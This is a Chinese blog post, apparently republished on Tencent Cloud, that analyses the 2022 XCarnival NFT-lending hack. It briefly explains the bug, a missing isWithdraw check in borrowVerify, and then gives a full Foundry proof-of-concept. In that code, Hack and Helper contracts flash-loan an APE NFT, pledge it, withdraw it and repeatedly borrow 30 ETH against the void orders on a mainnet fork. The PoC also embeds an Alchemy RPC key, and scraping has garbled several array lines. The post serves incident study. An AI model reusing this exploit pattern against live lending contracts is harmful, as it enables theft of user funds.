前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >HACK Reply XCarnival

HACK Reply XCarnival

作者头像
Tiny熊
发布2022-11-07 10:31:09
5970
发布2022-11-07 10:31:09
举报
文章被收录于专栏:深入浅出区块链技术

本文作者:bixia1994[1]

Ref

https://twitter.com/XCarnival_Lab/status/1541226298399653888

https://tools.blocksec.com/tx/eth/0x61a6a8936afab47a3f2750e1ea40ac63430a01dd4f53a933e1c25e737dd32b2f

Ana

好像是 borrow 函数的问题,抵押 NFT 借 ETH => pledgeAndBorrow

如下的 borrow 函数写的有问题,权限没做好。

核心 bug 是 borrowVerify 里面没有校验 order.isWithdraw, doTransferOut 有 callback,withdraw 函数没有删除 orderId,而只是更新了 order.isWithdraw=true. doTransferOut 的 callback 并不能直接使用,因为在 call 的过程中,它限制死了 gasLimit:5000,所以没办法通过经典的 receive 方式来重入。

代码语言:javascript
复制
 if (underlying == ADDRESS_ETH) {
            (bool result, ) = account.call{value: amount, gas: transferEthGasCost}("");
            require(result, "Transfer of ETH failed");
        }

攻击者的思路跟我写的思路不是很一致,攻击者比较有钱,自己先去买了一个 APE,而我这里使用了 NFTX 的闪电贷[2]功能,贷出来了一个 APE。但是我付出的成本也比攻击者高,需要给 NFTX 大约 8 个 ETH 的手续费。ETH amount: 292688541555386643017 fee: 300-292.68=7.32 eth

POC

代码语言:javascript
复制
pragma solidity 0.8.12;

import "ds-test/test.sol";
import "forge-std/stdlib.sol";
import "forge-std/Vm.sol";

contract Addrs is DSTest, stdCheats {
    address public constant XNFT = 0xb14B3b9682990ccC16F52eB04146C3ceAB01169A;
    address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address public constant XTOKEN = 0xB38707E31C813f832ef71c70731ed80B45b85b2d;
    address public constant controller =
        0xB7E2300E77D81336307E36Ce68D6909e43f4D38A;
    address public constant APE = 0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D;
    address public constant NFTX = 0xEA47B64e1BFCCb773A0420247C0aa0a3C1D2E5C5;
    address public constant assetAddr =
        0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D;
    address public constant routerV2 =
        0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;
}

interface RouterLike {
    function swapETHForExactTokens(uint256, address[] memory, address, uint256)
        external
        payable;
    function swapExactETHForTokens(uint256, address[] memory, address, uint256)
        external
        payable;
}

interface NFTXLike {
    function flashLoan(address, address, uint256, bytes memory) external;
    function redeemTo(uint256, uint256[] memory, address)
        external
        returns (uint256[] memory);
    function mintTo(uint256[] memory, uint256[] memory, address)
        external
        returns (uint256);
    function allHoldings() external view returns (uint256[] memory);
    function vaultFees()
        external
        view
        returns (uint256, uint256, uint256, uint256, uint256);
}

interface ERC20Like {
    function approve(address, uint256) external;
    function balanceOf(address) external view returns (uint256);
}

interface ERC721Like {
    function setApprovalForAll(address, bool) external;
    function safeTransferFrom(address, address, uint256) external;
    function transferFrom(address, address, uint256) external;
    function transfer(address, uint256) external;
}

interface XNFTLike {
    function pledgeAndBorrow(address, uint256, uint256, address, uint256)
        external;
    function withdrawNFT(uint256 orderId) external;
    function ordersOfOwnerByIndex(address, uint256)
        external
        view
        returns (uint256);
    function ordersOfOwnerOffset(address, uint256, uint256)
        external
        view
        returns (uint256[] memory);
}

interface XTOKENLike {
    function borrow(uint256, address, uint256) external;
    function totalCash() external view returns (uint256);
}

contract Hack is Addrs {
    uint256 public tokenId;
    uint256 public orderId;

    constructor() {
        ERC721Like(APE).setApprovalForAll(XNFT, true);
        ERC721Like(APE).setApprovalForAll(NFTX, true);
        ERC20Like(NFTX).approve(NFTX, type(uint256).max);
        ERC20Like(NFTX).approve(routerV2, type(uint256).max);
    }

    function start() public {
        /// flashloan NFTX token, redeem APE
        (,, uint256 _targetRedeemFee,,) = NFTXLike(NFTX).vaultFees();
        NFTXLike(NFTX).flashLoan(
            address(this), NFTX, 1 ether + _targetRedeemFee, ""
        );
        emit log_named_uint("ETH amount", address(this).balance);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    )
        external
        returns (bytes4)
    {
        return this.onERC721Received.selector;
    }

    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    )
        external
        returns (bytes32)
    {
        /// logic: redeem APE
        uint256[] memory ids = NFTXLike(NFTX).allHoldings();
        uint256[] memory specificIds = new uint256[](1 "] memory specificIds = new uint256[");
        specificIds[0] = ids[0];
        tokenId = ids[0];
        NFTXLike(NFTX).redeemTo(1, specificIds, address(this));

        scheduler();
        /// mintTo Token
        uint256[] memory amounts = new uint256[](1 "] memory amounts = new uint256[");
        amounts[0] = 1;
        NFTXLike(NFTX).mintTo(specificIds, amounts, address(this));

        /// swap eth for tokens
        emit log_named_uint("amount", amount);
        emit log_named_uint("fee", fee);
        address[] memory path = new address[](2 "] memory path = new address[");
        path[1] = NFTX;
        path[0] = WETH;
        RouterLike(routerV2).swapETHForExactTokens{value: address(this).balance}(
            amount + fee - ERC20Like(NFTX).balanceOf(address(this)),
            path,
            address(this),
            block.timestamp
        );

        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }

    function scheduler() public {
        /// pledgeandborrow
        for (uint256 i = 0; i < 10; i++) {
            address helper = address(
                uint160(
                    uint256(
                        keccak256(
                            abi.encodePacked(
                                hex"ff", address(this), bytes32(i), keccak256(type(Helper).creationCode)
                            )
                        )
                    )
                )
            );
            ERC721Like(APE).transferFrom(address(this), helper, tokenId);
            new Helper{salt: bytes32(i)}();
        }
    }

    function borrow(uint256, address, uint256) public {}

    function withdraw() public {
        XNFTLike(XNFT).withdrawNFT(orderId);
    }

    receive() external payable {
        emit log_named_uint("ETH amount", msg.value);
    }
}

contract Helper is Addrs {
    constructor() {
        uint256 tokenId = Hack(payable(msg.sender)).tokenId();
        ERC721Like(APE).setApprovalForAll(XNFT, true);
        XNFTLike(XNFT).pledgeAndBorrow(APE, tokenId, 721, msg.sender, 0);
        uint256 orderId = XNFTLike(XNFT).ordersOfOwnerByIndex(address(this), 0);
        XNFTLike(XNFT).withdrawNFT(orderId);
        XTOKENLike(XTOKEN).borrow(orderId, address(this), 30 ether);
        payable(msg.sender).transfer(address(this).balance);
        ERC721Like(APE).transferFrom(address(this), msg.sender, tokenId);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    )
        external
        returns (bytes4)
    {
        return this.onERC721Received.selector;
    }
}

contract POC is Addrs {
    Vm public vm = Vm(HEVM_ADDRESS);
    Hack public hack;

    function setUp() public {
        vm.createSelectFork(
            "https://eth-mainnet.g.alchemy.com/v2/UoUd0f-yRJTSPKkSLInhilV7XDHHJLPK",
            15028847
        );
        hack = new Hack();
        vm.label(NFTX, "NFTX");
        vm.label(APE, "APE");
        vm.label(XNFT, "XNFT");
        vm.label(XTOKEN, "XTOKEN");
        vm.label(routerV2, "routerV2");
    }

    function test_Start() public {
        hack.start();
    }
}

参考资料

[1]

bixia1994: https://learnblockchain.cn/people/3295

[2]

闪电贷: https://learnblockchain.cn/article/1926

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-08-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 深入浅出区块链技术 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Ref
  • Ana
  • POC
    • 参考资料
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档